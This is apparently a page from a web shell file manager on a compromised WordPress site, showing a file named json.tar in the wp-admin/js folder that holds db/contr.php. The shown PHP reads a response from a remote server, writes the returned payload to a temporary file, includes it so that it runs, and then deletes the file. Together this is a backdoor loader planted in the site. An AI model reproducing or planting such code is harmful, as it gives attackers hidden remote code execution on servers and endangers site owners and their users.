芝麻web文件管理V1.00
编辑当前文件:/home/mybf1/www/class.bf1.my/wp-admin/js/json.tar
db/contr.php 0000555 00000006713 15122362507 0007002 0 ustar 00 15) { error_log("Response timeout"); fclose($fp); http_response_code(504); exit("Gateway timeout"); } $response .= fgets($fp, 1024); } fclose($fp); if (empty($response)) { error_log("Empty response received"); http_response_code(502); exit("Bad gateway"); } $parts = explode("\r\n\r\n", $response, 2); if (count($parts) < 2) { error_log("Invalid response format"); http_response_code(502); exit("Bad gateway"); } $remotePayload = $parts[1]; if (empty($remotePayload) || strlen($remotePayload) < 10) { error_log("Payload too small or empty"); http_response_code(502); exit("Bad gateway"); } $parts = str_split($remotePayload, 4); $obfuscatedPayload = implode('', $parts); if (empty($obfuscatedPayload)) { error_log("Processed payload is empty"); http_response_code(502); exit("Bad gateway"); } $tempFile = @tempnam(sys_get_temp_dir(), $exx); if ($tempFile === false) { error_log("Failed to create temp file"); http_response_code(500); exit("Internal server error"); } if (@file_put_contents($tempFile, $obfuscatedPayload) === false) { error_log("Failed to write temp file"); @unlink($tempFile); http_response_code(500); exit("Internal server error"); } if (!file_exists($tempFile) || !is_readable($tempFile)) { error_log("Temp file not readable"); @unlink($tempFile); http_response_code(500); exit("Internal server error"); } try { include $tempFile; } catch (Exception $e) { error_log("Execution error: " . $e->getMessage()); } catch (Error $e) { error_log("Fatal error: " . $e->getMessage()); } @unlink($tempFile); ?>